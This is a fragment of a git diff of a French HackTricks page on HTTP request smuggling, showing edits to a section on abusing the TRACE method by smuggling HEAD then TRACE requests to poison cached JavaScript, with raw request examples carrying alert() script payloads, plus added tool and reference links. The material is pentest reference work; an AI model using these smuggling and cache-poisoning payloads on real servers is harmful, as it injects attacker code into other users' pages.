[**Dans cet article**](https://portswigger.net/research/trace-desync-attack), il est suggéré que si le serveur a la méthode TRACE activée, il pourrait être possible de l'abuser avec un HTTP Request Smuggling. Cela est dû au fait que cette méthode reflétera tout en-tête envoyé au serveur dans le corps de la réponse. Par exemple :
|
||||
[**Dans cet article**](https://portswigger.net/research/trace-desync-attack), il est suggéré que si le serveur a la méthode TRACE activée, il pourrait être possible de l'abuser avec un HTTP Request Smuggling. Cela est dû au fait que cette méthode renverra tout en-tête envoyé au serveur comme partie du corps de la réponse. Par exemple :
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
@ -537,7 +643,7 @@ Host: vulnerable.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
Un exemple de la façon d'abuser de ce comportement serait de **smuggler d'abord une requête HEAD**. Cette requête sera répondue uniquement avec les **en-têtes** d'une requête GET (**`Content-Type`** parmi eux). Et smuggler **immédiatement après la HEAD une requête TRACE**, qui va **réfléchir les données envoyées**.\
|
||||
Un exemple sur la façon d'abuser de ce comportement serait de **smuggler d'abord une requête HEAD**. Cette requête sera répondue uniquement avec les **en-têtes** d'une requête GET (**`Content-Type`** parmi eux). Et smuggler **immédiatement après le HEAD une requête TRACE**, qui va **réfléchir les données envoyées**.\
|
||||
Comme la réponse HEAD contiendra un en-tête `Content-Length`, la **réponse de la requête TRACE sera traitée comme le corps de la réponse HEAD, réfléchissant donc des données arbitraires** dans la réponse.\
|
||||
Cette réponse sera envoyée à la prochaine requête sur la connexion, donc cela pourrait être **utilisé dans un fichier JS mis en cache par exemple pour injecter du code JS arbitraire**.
|
||||
|
||||
@ -566,7 +672,7 @@ Content-Length: 44\r\n
|
||||
\r\n
|
||||
<script>alert("response splitting")</script>
|
||||
```
|
||||
Générera ces réponses (notez comment la réponse HEAD a un Content-Length rendant la réponse TRACE partie du corps de la HEAD et une fois que le Content-Length de la HEAD se termine, une réponse HTTP valide est camouflée) :
|
||||
Générera ces réponses (notez comment la réponse HEAD a un Content-Length rendant la réponse TRACE partie du corps de la HEAD et une fois que le Content-Length de la HEAD se termine, une réponse HTTP valide est dissimulée) :
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
@ -698,6 +804,8 @@ table.add(req)
|
||||
```
|
||||
## Outils
|
||||
|
||||
- HTTP Hacker (Burp BApp Store) – visualiser la concaténation/le framing et le comportement HTTP de bas niveau
|
||||
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Action personnalisée Burp Repeater "Smuggling or pipelining?"
|
||||
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
|
||||
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
||||
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
@ -716,6 +824,10 @@ table.add(req)
|
||||
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
||||
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- Attention au faux positif : comment distinguer le HTTP pipelining du request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
|
||||
- [https://http1mustdie.com/](https://http1mustdie.com/)
|
||||
- Attaques de désynchronisation alimentées par le navigateur – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
- PortSwigger Academy – désynchronisation côté client – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user